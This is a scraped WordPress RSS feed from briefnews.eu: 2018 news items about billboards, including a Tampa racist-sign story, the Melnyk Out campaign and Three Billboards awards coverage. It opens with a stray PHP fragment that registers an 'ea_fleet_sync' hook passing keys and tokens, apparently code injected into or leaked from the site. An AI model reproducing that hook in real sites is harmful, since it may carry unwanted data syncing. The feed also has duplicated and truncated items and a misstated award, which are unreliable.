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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); billboards – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 11 Jul 2018 16:23:23 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png billboards – Brief News https://briefnews.eu 32 32 ‘Homeless n*ggers, go back to Africa’: Tampa man sparks outrage with racist billboards (PHOTO) https://briefnews.eu/homeless-nggers-go-back-to-africa-tampa-man-sparks-outrage-with-racist-billboards-photo/ https://briefnews.eu/homeless-nggers-go-back-to-africa-tampa-man-sparks-outrage-with-racist-billboards-photo/#respond Wed, 11 Jul 2018 16:23:23 +0000 http://briefnews.eu/homeless-nggers-go-back-to-africa-tampa-man-sparks-outrage-with-racist-billboards-photo/

A controversial black political activist has sparked outrage in Tampa, Florida by standing on a busy downtown street displaying a sign instructing “homeless n*ggers” to go “back to Africa”.

The sign was spotted by a Tampa resident and posted on Twitter where it quickly racked up thousands of retweets and responses.

But, it turns out that the man in question has made a bit of a career out of his inflammatory ‘activism’ in the Tampa area.

Twitter users responded to the tweet identifying the man as 60-year-old Tony Daniel, who is a familiar face at Tampa City Council meetings where he has been criticized for using vulgar and profane language in his presentations.

According to local reporting, Daniel has been arrested and removed from public meetings on numerous occasions since the mid-1990s when he began his crusade against the city.

In March this year, council members amended their rules to place restrictions on vulgar and threatening speech, including personal attacks against city officials and members of the public — but said that Daniel wasn’t the reason the rules were changed.

In his spare time, Daniel has been known to drive around the city in a pickup truck displaying a Nazi flag, a Confederate flag, a photograph of a lynching and numerous uses of the word “n*gger”, according to local media.

He has also been involved in a long-running dispute with the city over expansions made to a home in east Tampa which is believed to be owned by his daughter, resulting in nearly $ 2 million in fines. Local officials say the necessary permits were not obtained for the expansion.

More cryptically, Daniel also seems to have a big problem with Home Depot, displaying references to the home and hardware store on the back of his truck — but no one seems to know why.

“We’ve tried reasoning with him to understand what his concern is with the company, but to no avail,” a spokesperson for Home Depot told the Tampa Bay Times.

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]]> https://briefnews.eu/homeless-nggers-go-back-to-africa-tampa-man-sparks-outrage-with-racist-billboards-photo/feed/ 0 A crypto miner trolls Warren Buffett with bitcoin billboards outside his office (BRKB) https://briefnews.eu/a-crypto-miner-trolls-warren-buffett-with-bitcoin-billboards-outside-his-office-brkb/ https://briefnews.eu/a-crypto-miner-trolls-warren-buffett-with-bitcoin-billboards-outside-his-office-brkb/#respond Fri, 18 May 2018 12:42:23 +0000 http://briefnews.eu/a-crypto-miner-trolls-warren-buffett-with-bitcoin-billboards-outside-his-office-brkb/ warren buffettBill Pugliano/Stringer/Getty Images

A cryptocurrency-mining company claims to be trolling billionaire investor Warren Buffett with billboards near his Omaha office.

Marco Krohn, co-founder of Genesis Mining, tweeted photos of the signs that allude to Buffett’s admission that he was wrong about investing in mega-cap tech giants Amazon and Google in their early days. “Maybe you’re wrong about Bitcoin?” the signs taunt.

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]]> https://briefnews.eu/a-crypto-miner-trolls-warren-buffett-with-bitcoin-billboards-outside-his-office-brkb/feed/ 0 #MelynkOut billboards go up as Senators fans voice frustration https://briefnews.eu/melynkout-billboards-go-up-as-senators-fans-voice-frustration/ https://briefnews.eu/melynkout-billboards-go-up-as-senators-fans-voice-frustration/#respond Mon, 19 Mar 2018 19:22:25 +0000 http://briefnews.eu/melynkout-billboards-go-up-as-senators-fans-voice-frustration/ Billboards designed to put pressure on Ottawa Senators owner and CEO Eugene Melnyk to sell the team have gone up at several locations around Ottawa.

The billboards went up Monday and will remain for two weeks at:

  • Ogilvie Road near St. Laurent Boulevard.
  • Hunt Club Road near Paul Benoit Drive.
  • Bank Street near Riverside Drive.
  • Carling Avenue near Preston Street.

A fifth sign is set to go up April 2 and stay up for one week at Bank near Riverdale Avenue.

Spencer Callaghan raised money for the billboards in February. In an interview with CBC Radio’s Ottawa Morning Monday, he said it “feels good” to know they’re finally being installed.

“I’m doing this for the fans. More than 420 fans donated to this campaign, and we raised over $ 10,000,” he said.

Eugene Melnyk, Ottawa Senators owner (April 28, 2016)

Ottawa Senators owner and CEO Eugene Melnyk is the target of an advertising campaign designed to pressure him into selling the NHL franchise. (CBC)

‘Your empty seat doesn’t speak’

“Quite honestly, people are sad that this team is going through such a tough time, and that doesn’t just mean on the ice — quite frankly this has nothing to do with the product on the ice; this has to do with the organization as a whole.

“They’re happy that there’s a way now for them to have a voice and be heard, because unfortunately, if you simply don’t buy tickets, your empty seat doesn’t speak.”

Asked why the billboards aren’t closer to the Senators’ rink, Callaghan said the space simply wasn’t available.

“Unfortunately there was no availability around the Canadian Tire Centre until the fall, according to the company that we approached. So our next best bet was to try to get maximum visibility,” he said.

Spencer Callaghan Melnyk Out campaign Feb 26 2018

Spencer Callaghan started a fundraising campaign in February to raise money for the billboards. (Kristy Nease/CBC)

Letter failed to mollify fans

In early March, Melnyk sent a letter to season ticket holders promising sweeping changes to rebuild the team and reaffirming his commitment to keep the Senators in Ottawa.

“Enduring a tough year has given us a chance for clear-eyed evaluation,” Melnyk wrote. “This is an ongoing process but I can tell you one thing: we are not looking to just tweak our lineup nor mortgage our future for stop-gap solutions.”

Callaghan said it did little to mollify angry fans.

“I would suggest it made it worse, because the letter really came off as kind of tone-deaf. One, the letter was only sent to season ticket holders … but second, it was just a very vague letter without a lot of concrete actions involved.”

Much of the disgruntlement has to do with the team’s perceived penny-pinching, Callaghan said.

“I think most Sens fans are perfectly OK with the fact that the Senators are not going to spend at the cap — we understand that it’s not a rich market team — but if you’re not going to spend at the cap, then you have to do the little things around the edges that you can do to be successful, and you can’t do that with the smallest front office in the league.

“Now we have our third CEO in the past 14 months, who is Eugene Melnyk himself, and I just question the level of chaos and uncertainty. The level of chaos and uncertainty in the front office just does not give fans a lot of confidence.”

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]]> https://briefnews.eu/melynkout-billboards-go-up-as-senators-fans-voice-frustration/feed/ 0 Town in Oscar-Winning ‘Three Billboards’ Posts Travel Guide https://briefnews.eu/town-in-oscar-winning-three-billboards-posts-travel-guide/ https://briefnews.eu/town-in-oscar-winning-three-billboards-posts-travel-guide/#respond Mon, 05 Mar 2018 20:34:36 +0000 http://briefnews.eu/town-in-oscar-winning-three-billboards-posts-travel-guide/

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]]> https://briefnews.eu/town-in-oscar-winning-three-billboards-posts-travel-guide/feed/ 0 The 10 Best Movies to Buy or Stream This Week: ‘Coco,’ ‘Three Billboards,’ ‘Darkest Hour’ https://briefnews.eu/the-10-best-movies-to-buy-or-stream-this-week-coco-three-billboards-darkest-hour/ https://briefnews.eu/the-10-best-movies-to-buy-or-stream-this-week-coco-three-billboards-darkest-hour/#respond Tue, 27 Feb 2018 17:52:29 +0000 http://briefnews.eu/the-10-best-movies-to-buy-or-stream-this-week-coco-three-billboards-darkest-hour/ There’s a lot that’s new in this week’s jam-packed column, from three big nominees at this Sunday’s Oscars to two previous winners to our usual assortment of indies and classics. There’s so much to see! Movies are good, you guys.

ON NETFLIX:

Lincoln: With Steven Spielberg’s The Post and the Daniel Day-Lewis-starrer Phantom Thread up for a generous helping of Oscars on Sunday, Netflix couldn’t have picked a better time to re-up their 2012 collaboration, which itself picked up prizes for Best Actor and Best Production Design. Working from a hyper-intelligent screenplay by the great Tony Kushner (based on Doris Kearns Goodwin’s essential book Team of Rivals), Spielberg wisely eschews the customary – and presumably hard to resist – cradle-to-grave arc typical of so many blander biopics, instead focusing on a single moment in the president’s political life that extends far beyond it. Day-Lewis is, as usual, sublime in the role; a jaw-dropping cast of ace character actors (including Sally Field, Tommy Lee Jones, David Strathairn, James Spader, Hal Holbrook, John Hawkes, Tim Blake Nelson, Bruce McGill, Jared Harris, Lee Pace, Jackie Earl Haley, and Gloria Reuben) shines bright.

ON DVD / VOD

Quest: Director/cinematographer Jonathan Olshefski spent eight years, from 2008 to 2015 (the Obama years, in fact; Obama/Biden signs cover the neighborhood early on, and the elections provide useful guideposts to the chronology) with the Raineys, a fairly typical North Philadelphia family that, in that time and before it, face a number of everyday trials and tribulations. There are money troubles and addiction demons, there are tragedies in their pasts and quite nearly one in their present. But they don’t complain and they don’t despair; they carry on, pausing only to be thankful for what they have, and who they are. Epic in scope yet modest in execution, it’s a film with much to say (without ever explicitly sayingit) about class and race in America, and about family, and its small miracles.

ON BLU-RAY / DVD / VOD

Coco: Pixar’s latest is one of their best, and a welcome reprieve from a run of duds and sequels. Charming and heartfelt, it concerns a young man’s quest to become a musician – a journey that takes him across nothing less than the divide between the living and the dead (don’t worry, it’s on the Day of the Dead, so it’s less scary than it sounds), and to the truth about a family he’s never really known. The animation is inventive, the songs are lively, the protagonist is adorable, and its closing passages vibrate with earned emotion and honest poignancy. It’s a real treat. (Includes audio commentary, deleted scenes, and featurettes.)

Three Billboards Outside Ebbing, Missouri: Nothing’s better than the moment where a good movie becomes a great one, and I can tell you when that moment happens in In Bruges writer/director Martin McDonagh’s latest with pinpoint precision: it’s when we hear a letter Chief Willoughby (Woody Harrelson) has written to his wife, which begins as a motivation explainer, and then swims gracefully into straight-up poetry. That he can accomplish that transition, and then pivot into horrifying violence not long after, speaks volumes about McDonagh’s mastery of tone, and Three Billboards takes turns that most filmmakers wouldn’t even attempt, much less sustain. But watching McDonagh pull this off is, in its own way, thrilling; it’s one of those movies that makes you marvel at everything one film can be. (Includes featurette and McDonagh’s Oscar-winning 2004 short film Six Shooter.)

Darkest Hour: It’s easy to slag Joe Wright’s Oscar-friendly period drama, which takes a Lincoln­-style snapshot of Winston Churchill is his first month or so as Prime Minister of Great Britain – and, to be fair, it seems to exist primarily as a showcase for the gifts of Gary Oldman, who is somewhere under the layers of make-up required to give him the appearance of the legendary leader. But it is one hell of a performance, mannered and studied though it may be, while Wright’s direction is fleet-footed and the supporting characters are given more dimension than you might expect. Is it a great movie? Not quite. But it’s a decent one, and Oldman’s going to win his Best Actor Oscar, so you may as well give it a peek. (Incudes audio commentary and featurettes.)

ON BLU-RAY / FILMSTRUCK

Tom Jones: This rowdy and ribald period comedy from director Tony Richardson, a new addition to the Criterion Collection, is mostly remembered for two things: its funny/sexy dinner scene between Albert Finney and Joyce Redman, and for being one of the “weaker” winners of the Academy Award for Best Picture. It’s not hard to see why; from its silent movie-style opening to its flashes of Benny Hill-style bedroom farce, it’s not the kind of Serious Picture that usually takes that honor, and if the movie is high-spirited, it’s also a tad uneven. But its competition that year included Cleopatra and How the West Was Won, so we’re not exactly talking grave injustices here – it’s an enjoyable bit of fluff, nothing more, nothing less. (Also streaming on FilmStruck.) (Includes theatrical version and director’s cut, featurette, new and archival interviews, and Finney on The Dick Cavett Show.)

ON BLU-RAY

Lady and the Tramp: Disney’s darling 1955 animated adventure has been out of reach for Blu-ray buyers for a while now (thanks, Disney Vault!), but it’s back in circulation as part of the “Disney Signature Collection,” and it’s as enjoyable as ever. The spaghetti-eating scene is the go-to image from this one, of course (and it’s properly placed on the cover), but there’s a lot more going on here: a story of romance from opposite sides of the tracks, tinged with the melancholy of rejection in the home and even a dash of heroism. The Blu-ray restoration (though the same as the “Diamond Edition” six years back) is lovely – the colors pop and the songs hum – and this remains one of Disney’s sweetest animal adventures. (Includes audio commentary, deleted scenes, sing-a-long version, and featurettes.)

The Outlaw: This 1943 Western from producer/director Howard Hughes (and an uncredited Howard Hawks) was notoriously promoted with the ample cleavage of star Jane Russell, so ‘40s horndogs must’ve been more than a little disappointed by the film itself, in which Russell is mere window dressing for yet another telling of the Billy the Kid/Pat Garrett story (and doesn’t even show up until a good two reels in). But she does generate real heat with Jack Beutel’s Billy, particularly in a wild kissing POV and a sequence wherein (if I was following, and I think I was) she basically screws the dying cowboy back to life (off-screen, of course). The rest of the movie hits and misses; the score is horrifying and the pace drags, but Thomas Mitchell (Uncle Billy from It’s A Wonderful Life) and Walter Huston make a memorable Pat Garrett / Doc Holliday combo, and the film’s homosexual subtext is unexpectedly juicy. More a curiosity than anything, but KL Studo Classic’s Blu-ray transfer is a much-needed upgrade from years of poor public domain releases. (Includes audio commentary and trailers.)

Harper / The Drowning Pool: Paul Newman took on the role of Ross Macdonald’s private eye Lew Archer (here renamed Lew Harper) in two films, separated by nine years; Warner Archive is now releasing both of them on Blu-ray, and they’re a lot of fun. In the first, 1966’s Harper, Newman’s Bogart-esque P.I. dives deep into the hippy-dippy world of mid-60s Los Angeles, and mines the fish-out-of-water scenario for some good lines and laughs; it’s a hyper-cool performance, and director Jack Smight’s lets Newman’s laid-back style steer the picture, for the better. The 1975 follow-up The Drowning Pool puts him into another new environment, the swamps of the Louisiana bayou, and matches the actor up with his real-life love Joanne Woodward, which lends their characters’ flirtation some unexpected gravitas. Melanie Griffith also turns up in a sex-kitten role similar to her turn in another private dick movie that year, Night Moves, a mirroring that underscores the conventionality of these movies, and the latter in particular, in an era that gave us the subversions of The Long Goodbye, Chinatown, and The Late Show. But as conventional gumshoe movies go, you could do a lot worse. (Harper includes audio commentary and trailer; The Drowning Pool includes vintage featurette and trailer.)

                                                                                                

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]]> https://briefnews.eu/the-10-best-movies-to-buy-or-stream-this-week-coco-three-billboards-darkest-hour/feed/ 0 BAFTAs 2018 winners: Three Billboards triumphs with major awards – Oscars next? https://briefnews.eu/baftas-2018-winners-three-billboards-triumphs-with-major-awards-oscars-next/ https://briefnews.eu/baftas-2018-winners-three-billboards-triumphs-with-major-awards-oscars-next/#respond Sun, 18 Feb 2018 22:00:46 +0000 http://briefnews.eu/baftas-2018-winners-three-billboards-triumphs-with-major-awards-oscars-next/

The movie, starring Frances McDormand, took home Best Film at the BAFTAs, as well as Best Actress.

Best Supporting Actor was won by Sam Rockwell for his work in the film, while it also won Best British Film and Martin McDonagh took home Best Adapted Screenplay.

McDonagh said: “Our film is a hopeful one in lots of ways but it’s also an angry one, and as we’ve seen this year, sometimes anger is the only way to get people to listen and to change, so we’re thrilled that BAFTA has recognised this.”

Frances McDormand, meanwhile, used her speech as an opportunity to explain why did she not wear black: “As Martin [McDonagh] said, I have a little trouble with compliance!

“But I want you to know I stand in full solidarity with my sisters tonight in black. I also want to say that I appreciate a well-organised act of civil disobedience.”

She added: “I’m thrilled that activists all over the world have been inspired by the set decoration of Three Billboards in Martin’s film and have taken to the streets and let it be a part of the positive public discourse that’s happening.

“When I was a young actor in drama school, I was told I was not naturally gifted and that I’d have to work at it. And so, I did. 

“Along the way, I was fortunate to collaborate with film-makers with me in mind. And I’m deeply grateful to them for helping me realise my hidden potential.”

Now all eyes will be on it at the Oscars in two weeks’ time – can it replicate its success again?

Other winners included The Shape of Water’s Guillermo del Toro won Best Director, while Gary Oldman won Best Actor for Darkest Hour and Allison Janney picked up Supporting Actress for I, Tonya.

Joanna Lumley served as host, taking over from Stephen Fry.

See the full winners’ list here.

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]]> https://briefnews.eu/baftas-2018-winners-three-billboards-triumphs-with-major-awards-oscars-next/feed/ 0 Desperate family takes out 27 billboards to find kidney donor for Calgary man https://briefnews.eu/desperate-family-takes-out-27-billboards-to-find-kidney-donor-for-calgary-man/ https://briefnews.eu/desperate-family-takes-out-27-billboards-to-find-kidney-donor-for-calgary-man/#respond Fri, 16 Feb 2018 12:23:53 +0000 http://briefnews.eu/desperate-family-takes-out-27-billboards-to-find-kidney-donor-for-calgary-man/ Ryan Mclennan

Elaine Austin admits it’s an unconventional approach. She and other family members have taken out more than two dozen billboards in and around Calgary to try to find a kidney donor for her son, whose current kidney is functioning at just six per cent.

]]> https://briefnews.eu/desperate-family-takes-out-27-billboards-to-find-kidney-donor-for-calgary-man/feed/ 0 The ‘Three Billboards Against Ebbing, Missouri’ Backlash, Explained https://briefnews.eu/the-three-billboards-against-ebbing-missouri-backlash-explained/ https://briefnews.eu/the-three-billboards-against-ebbing-missouri-backlash-explained/#respond Fri, 26 Jan 2018 19:31:35 +0000 http://briefnews.eu/the-three-billboards-against-ebbing-missouri-backlash-explained/ three billboards backlash

Three Billboards Outside Ebbing, Missouri has all the makings of an Oscar frontrunner. The festival favorite boasts a riveting turn from lead Frances McDormand, a deliciously sharp screenplay from director Martin McDonagh, and a tour-de-force performance from Sam Rockwell as a self-loathing corrupt cop. It received near-universal praise at the Venice and Toronto film festivals. At key awards ceremonies, Three Billboards swept — winning the Golden Globe for Best Drama, the SAG Award for Best Ensemble, the TIFF People’s Choice Awards, and landing a spot in the AFI top 10 of 2017.

Most importantly, it was timely. Three Billboards is a story about a bereaved mother Mildred Hayes who shakes up a small Midwestern town with her bitter attacks against the beloved Chief Willoughby (Woody Harrelson) for his department’s inability to find the culprit behind her daughter’s rape and murder. The film hit the festival circuit right at the crest of #MeToo movement, an industry-wide reckoning of the systemic abuse and harassment of women at the hands of Hollywood’s most powerful men. It seemed fitting, then, that the Oscar frontrunner would be about righteous female vengeance, led by a middle-aged actress whose furious performance threatened to sear through the screen.

And yet, Three Billboards finds itself facing its own reckoning, with a backlash as fierce as Mildred’s single-minded quest for justice.

You could chalk it up to the usual polarization of the Oscar race, wherein the nuances of the best films of the year are boiled down to their most basic flaws. La La Land fell victim to this last year — seeing itself transformed from “charming love letter to classic Hollywood musicals” to “nostalgic relic emblematic of the racial tumult overtaking America.” Backlash and Oscar favorite almost always go hand-in-hand, with public opinion turning on a perfectly fine film for want of a narrative with a villain and an underdog.

Opening to Critical Acclaim

The thing about Three Billboards is that it seemed poised to take on that underdog role. When the film premiered at the Venice Film Festival in September, it was presented as the polar opposite of Oscar bait: a brutal, barbed black comedy that dared you to like it.

Its borderline farcical approach to grief cut away any semblance of pretension, yet it carried an Important Message on female wrath in the form of McDormand’s caustic Mildred Hayes. Owen Gleiberman wrote in his Variety review, “She’s woke, she’s fierce, she’s beyond shame or scruples, she’s screaming truth to power, she’s charged up with the wrath of an avenger.” The Washington Post’s Ann Hornaday wrote in its rave review, “McDonagh couldn’t have anticipated the moment when his movie would arrive, a time when sexism in its most virulent forms has been revealed in a daily drumbeat of stories recounting unspeakable exploitation and abuse.” In the wake of the Harvey Weinstein revelations, Mildred soon became the standard bearer for the #MeToo and #TimesUp movements, 2017’s embodiment of female rage.

The movie hit a nerve. It won a standing ovation at its premiere at Venice, where McDonagh won the best screenplay prize. It would win the People’s Choice Award at the Toronto Film Festival over crowd-pleasing movies like The Shape of Water, Darkest Hour, and Molly’s Game. But the movie’s initial full-bodied support would soon change once it hit general theaters.

Out of the Festival Bubble

As Three Billboards spilled out of the festival circuit, there were rumblings among critics of color about the film’s clumsy (some would say non-existent) handling of race. The criticisms were aimed at Sam Rockwell’s Dixon, a racist, violent cop who was rumored to have tortured a black man in custody. Rockwell plays Dixon as a pathetic dope rigged to explode, and for the first half of the film, Three Billboards doesn’t ask you to sympathize with him. He’s an alcoholic, he commits horrific, senseless beatings, he lives with his emotionally abusive mom. But Chief Willoughby is convinced that underneath that veneer of intolerance, there’s a “good man” in Dixon, which triggers a transformation in Rockwell’s character, from revolting villain to sympathetic ally.

Vulture’s Nate Jones points out, “The second half of the movie largely belongs to Sam Rockwell’s Dixon, a ne’er-do-well cop with a history of racist violence who gets some measure of redemption by the end of the film. Dixon’s arc has made Rockwell a shoo-in for Best Supporting Actor races at the same time as it’s rubbed some viewers the wrong way thanks to a noticeable bit of sleight of hand: McDonagh never lets us meet the black person Dixon is said to have tortured, which lets his past crimes stay entirely in the abstract.” Jones’ Vulture colleague Kyle Buchanan notes that the film’s only other black characters are all “good-hearted ciphers.”

The issue of redemption remains the point of contention for many defenders of Three Billboards. “What if Three Billboards is a tale of damnation, not redemption?” Washington Post critic Sonny Bunch writes. The film “has a much stronger message about the dangerously fascist impulse that goes along the desire for total and perfect justice.”

In the most thoughtful analysis of Three Billboards and its race problem, Allison Willmore at Buzzfeed astutely points out that the film takes place in the state where three years ago, tensions between police and the black community came to a head after the death of Michael Brown in Ferguson. But “in striving to make Ebbing feel like a lived-in place, rather than just an idea of one, Three Billboards treats racism like it’s just another quaint regional detail — part of the local decor,” Willmore writes. “Three Billboards is so sharp when it comes to depicting Mildred’s pain, and yet so clumsy when it comes to depicting the habitual racism of the place in which she lives, that it feels indicative of the terrible fallacy that we can only focus on one type of oppression at once.”

Willmore points to McDonagh’s roots commenting on Irish working-class conflicts as the issue, which the director attempts to try to transport to Middle America. The Daily Beast‘s Ira Madison doubles down on this assertion, writing “Whether it be through malice or ignorance, McDonagh’s attempts to script the black experience in America are often fumbling and backward and full of outdated tropes.”

These kinds of criticisms continued to roll in as the film expanded to general theaters in November. Why the sudden outcry? NPR’s Gene Demby posited that the film’s rave reception at Toronto was an indictment of the overwhelming whiteness of the festival circuit and the critical establishment. Demby said on Twitter, “I think festival audiences are so used to the centrality of white people’s inner lives treated as the Actual Emotional Stakes that they don’t get what’s janky about a movie set in a town where cops torture black [people] but the plot is about thwarted justice for a white lady.”

Catapulted to Awards Favorite

The difference between Three Billboards and past Oscar “favorites-turned-pariahs” is that this criticism began before the film became an awards frontrunner. But as awards season kicked into gear, it became apparent that Three Billboards was the clear favorite. Three Billboards swept the Golden Globes, winning the most film awards of the night with Best Drama, Best Supporting Actor for Rockwell, Best Actress for McDormand, and Best Screenplay. It also won the Best Ensemble Prize at the SAG Awards, an award that often goes to future Best Picture winners.

The Golden Globes was Hollywood’s first public show of the reckoning of men in power. Actors and actresses wore black in solidarity with the anti-harassment and abuse coalition Time’s Up, series and films dealing with the sexual assault and the female experience won big (Big Little Lies, Handmaid’s Tale), stirring speeches against sexism were given by Meryl Streep and Oprah Winfrey. Three Billboards, with its wrathful tale of female vengeance, became part of that narrative with its four wins. Some critics accused the night of being “performative” in its wokeness, while others were encouraged by how these movements would rock the Academy Awards, an institution that is well-documented to be averse to progress.

Essentially, critics are saying, it’s hypocritical for a film that has been propelled to the front of the Oscar race because of its pertinence to one movement (#MeToo) to be completely indifferent to another movement (#BlackLivesMatter). It all sounds very political, because awards season inevitably is political, New York Times writer Wesley Morris writes. Three Billboards “can’t be just the misfire that it is,” Morris says. “The enthusiasm for it has to represent the injustice the movie believes it’s aware of — against young murdered women, their suffering dysfunctional families and black torture victims we never see — but fails to sufficiently poeticize or dramatize what Mr. McDonagh is up to here: a search for grace that carries a whiff of American vandalism. Of course, few movies can predict their moment, but “Three Billboards” might be inadequately built for this one.”

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]]> https://briefnews.eu/the-three-billboards-against-ebbing-missouri-backlash-explained/feed/ 0 ‘The Shape of Water,’ ‘Three Billboards,’ ‘Call Me By Your Name’ Lead BAFTA Nominations https://briefnews.eu/the-shape-of-water-three-billboards-call-me-by-your-name-lead-bafta-nominations/ https://briefnews.eu/the-shape-of-water-three-billboards-call-me-by-your-name-lead-bafta-nominations/#respond Tue, 09 Jan 2018 22:05:34 +0000 http://briefnews.eu/the-shape-of-water-three-billboards-call-me-by-your-name-lead-bafta-nominations/ The British Academy of Film and Television Arts – BAFTA for short – announced the nominees for their annual awards this morning, a slate that can traditionally be summed up as “Sort of an Oscar predictor, but British-er.”

For example, Dunkirk and Darkest Hour are particularly well-represented in this group – perhaps more so than we can expect in the Academy Award nominations – with not only the predictable Best Actor nomination but Best Film and Best Supporting Actress nods for Hour, and Best Film and Best Director nominations for Dunkirk’s Christopher Nolan. And there are a handful of nods for the Brit-ccentric Film Stars Don’t Die in Liverpool, which hasn’t made much noise in the States (along with Paddington 2, which hits U.S. theaters Friday, and The Death of Stalin, which is out this spring). And because of staggered release dates, there are a handful of nominations for films like Elle and I Am Not Your Negro that were part of last year’s American awards race.

But the BAFTAs do solidify some emerging awards-season narratives, with multiple nods for The Shape of Water, Call Me By Your Name, and Three Billboards Outside Ebbing, Missouri (including, for the latter, Best Supporting Actor nominations for both Sam Rockwell and the less-heralded Woody Harrelson). And as with the Hollywood Foreign Press Association, the BAFTA voters apparently believe Saoirse Ronan and Laurie Metcalf achieved their nomination-worthy performances in Lady Bird without the help of director Greta Gerwig.

Anyway. Here are their nominations:

Best Film
Call Me by Your Name
Darkest Hour
Dunkirk
The Shape of Water
Three Billboards Outside Ebbing, Missouri

Best Actress
Annette Bening, Film Stars Don’t Die in Liverpool
Frances McDormand, Three Billboards Outside Ebbing, Missouri
Margot Robbie, I, Tonya
Sally Hawkins, The Shape of Water
Saoirse Ronan, Lady Bird

Best Actor
Daniel Day-Lewis, Phantom Thread
Daniel Kaluuya, Get Out
Gary Oldman, Darkest Hour
Jamie Bell, Film Stars Don’t Die in Liverpool
Timothée Chalamet, Call Me by Your Name

Best Supporting Actress
Allison Janney, I, Tonya
Kristin Scott Thomas, Darkest Hour
Laurie Metcalf, Lady Bird
Lesley Manville, Phantom Thread
Octavia Spencer, The Shape of Water

Best Supporting Actor
Christopher Plummer, All the Money in the World
Hugh Grant, Paddington 2
Sam Rockwell, Three Billboards Outside Ebbing, Missouri
Willem Dafoe, The Florida Project
Woody Harrelson, Three Billboards Outside Ebbing, Missouri

Best Director
Denis Villeneuve, Blade Runner 2049
Luca Guadagnino, Call Me by Your Name
Christopher Nolan, Dunkirk
Guillermo Del Toro, The Shape of Water
Martin McDonagh, Three Billboards Outside Ebbing, Missouri

Best Original Screenplay
Get Out
I, Tonya
Lady Bird
The Shape of Water
Three Billboards Outside Ebbing, Missouri

Best Adapted Screenplay
Call Me by Your Name
The Death of Stalin
Film Stars Don’t Die in Liverpool
Molly’s Game
Paddington 2

Outstanding British Film
Darkest Hour
The Death of Stalin
God’s Own Country
Lady Macbeth
Paddington 2
Three Billboards Outside Ebbing, Missouri

Outstanding Debut by a British Writer, Director or Producer
The Ghoul – Gareth Tunley (writer/director/producer), Jack Healy Guttman & Tom Meeten (producers)
I Am Not a Witch – Rungano Nyoni (writer/director), Emily Morgan (Producer)
Jawbone – Johnny Harris (writer/producer), Thomas Napper (director)
Kingdom of Us – Lucy Cohen (director)
Lady Macbeth – Alice Birch (writer), William Oldroyd (director), Fodhla Cronin O’Reilly (producer)

Best Film Not in the English Language
Elle
First They Killed My Father
The Handmaiden
Loveless
The Salesman

Best Documentary
City of Ghosts
I Am Not Your Negro
Icarus
An Inconvenient Sequel
Jane

Best Animated Film
Coco
Loving Vincent
My Life as a Courgette

Best Original Music
Blade Runner 2049
Darkest Hour
Dunkirk
Phantom Thread
The Shape of Water

Best Cinematography
Blade Runner 2049
Darkest Hour
Dunkirk
The Shape of Water
Three Billboards Outside Ebbing, Missouri

Best Editing
Baby Driver
Blade Runner 2049
Dunkirk
The Shape of Water
Three Billboards Outside Ebbing, Missouri

Best Production Design
Beauty and the Beast
Blade Runner 2049
Darkest Hour
Dunkirk
The Shape of Water

Best Costume Design
Beauty and the Beast
Darkest Hour
I, Tonya
Phantom Thread
The Shape of Water

Best Make-up & Hair
Blade Runner 2049
Darkest Hour
I, Tonya
Victoria & Abdul
Wonder

Best Sound
Baby Driver
Blade Runner 2049
Dunkirk
The Shape of Water
Star Wars: The Last Jedi

Best Special Visual Effects
Blade Runner 2049
Dunkirk
The Shape of Water
Star Wars: The Last Jedi
War for the Planet of the Apes

Best British short animation
Have Heart
Mamoon
Poles Apart

Best British short film
Aamir
Cowboy Dave
A Drowning Man
Work
Wren Boys

Rising Star award (voted for by the public)
Daniel Kaluuya
Florence Pugh
Josh O’Connor
Tessa Thompson
Timothée Chalamet

                                

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After the Golden Globes were handed out last weekend, it’s time for the more significant, meaningful awards to take the spotlight. Today we have the 2018 BAFTA nominations, the equivalent of the Academy Awards for our friends in the United Kingdom.

The Shape of Water led the pack by racking up 12 nominations, including being one of five nominees for Best Film. Joining Guillermo del Toro‘s masterpiece were also Three Billboards Outside Ebbing, Missouri and The Darkest Hour, both landing nine nominations each. However, not all the awards favorites were shown love with Steven Spielberg’s The Post left out in the wind with zero nominations.

See the full list of 2018 BAFTA nominations below.

Other contenders that didn’t make the cut for Best Film include Get Out, The Florida Project, Phantom Thread and Lady Bird. That’s to be expected when the BAFTAs have stuck to having only five nominees for their Best Film category, especially when the awards tend to be a little more skewed towards films made in the United Kingdom and directed by British filmmakers. But those movies still ended up with respectable nominations in other categories.

Unfortunately, female directors were again snubbed. While Darkest Hour director Joe Wright was the only filmmaker from the Best Film pack who didn’t end up with a Best Director nomination, the space was filled by Denis Villeneuve for Blade Runner 2049. There’s no denying these filmmakers are worthy of their nomination, but it’s sad that in a year when women directed some outstanding movies that they’re still getting the shaft like this.

Plus, on the goofier side of nominations, BAFTA voters decided Paddington 2 (which qualified for the awards by being released in the UK before it arrived in the US) deserved some love. It somehow ended up in the Outstanding British Film category and Hugh Grant even got an award for Best Supporting Actor. As charming as the Paddington films are, that just seems a little silly to me.

Anyway, here’s the full list of 2018 BAFTA nominations:

Best Film
Call Me by Your Name
Darkest Hour
Dunkirk
The Shape of Water
Three Billboards Outside Ebbing, Missouri

Outstanding British Film
Darkest Hour
The Death of Stalin
God’s Own Country
Lady Macbeth
Paddington 2
Three Billboards Outside Ebbing, Missouri

Best Director
Denis Villeneuve, Blade Runner 2049
Luca Guadagnino, Call Me by Your Name
Christopher Nolan, Dunkirk
Guillermo Del Toro, The Shape of Water
Martin McDonagh, Three Billboards Outside Ebbing, Missouri

Best Actress
Annette Bening, Film Stars Don’t Die in Liverpool
Frances McDormand, Three Billboards Outside Ebbing, Missouri
Margot Robbie, I, Tonya
Sally Hawkins, The Shape of Water
Saoirse Ronan, Lady Bird

Best Actor
Daniel Day-Lewis, Phantom Thread
Daniel Kaluuya, Get Out
Gary Oldman, Darkest Hour
Jamie Bell, Film Stars Don’t Die in Liverpool
Timothée Chalamet, Call Me by Your Name

Best Supporting Actress
Allison Janney, I, Tonya
Kristin Scott Thomas, Darkest Hour
Laurie Metcalf, Lady Bird
Lesley Manville, Phantom Thread
Octavia Spencer, The Shape of Water

Best Supporting Actor
Christopher Plummer, All the Money in the World
Hugh Grant, Paddington 2
